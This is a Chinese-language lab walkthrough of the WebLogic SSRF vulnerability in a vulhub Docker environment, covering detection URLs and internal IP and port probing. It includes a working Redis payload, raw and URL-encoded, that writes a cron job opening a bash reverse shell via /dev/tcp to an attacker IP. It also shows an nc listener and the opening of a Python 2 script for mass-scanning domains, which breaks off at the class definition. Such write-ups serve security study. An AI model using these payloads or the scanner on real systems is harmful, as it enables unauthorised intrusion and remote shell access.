一、概述
SSRF( Server-side Request Forgery )服务端请求伪造。 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。主要攻击手段
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli 等);
5.利用file协议读取本地文件等。
回显信息
二、ssrf漏洞复现
1.环境搭建
1.1下载解压vulhub到本地(漏洞路径:vulhub-master/weblogic/ssrf)1.2在相应目录下使用 docker-compose up -d 命令调用yml脚本,便可以搭建好环境。
1.3访问: http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp 出现如下界面
2.验证漏洞是否存在
使用如下URL测试漏洞是否存在http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1
3.探测内网ip与端口
ip端口的探测主要分三种情况:
1.ip端口都存在
2.ip存在端口不存在
3.ip不存在
当ip端口都存在时,提示如下报错:(content-type可不同)
ip存在端口未开放时,提示如下报错:
ip不存在时提示如下报错:
4.攻击内网radis
4.1查看内网redis的ip地址docker exec -it ssrf_redis_1 ip addr
4.2探测是否开放6379端口
如下图所示,6379端口开放
4.3redis攻击脚本:(可以弹回一个shell)
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/反弹shell的ip地址/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
使用ULR编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.x.x%2Fx%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
4.4在kali上使用nc进行监听
nc -lvnp 4444
4.5在浏览器中进行漏洞利用
4.6kali中成功返回一个shell
三、相关脚本
1.使用方法
2.weblogic_ssrf漏洞批量检查脚本
2.1将域名保存在domain.txt文件中
2.2运行脚本
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞
import re
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Weblogic_SSRF_Check(threading.Thread):
"""docstring for Weblogic_SSRF_Check"""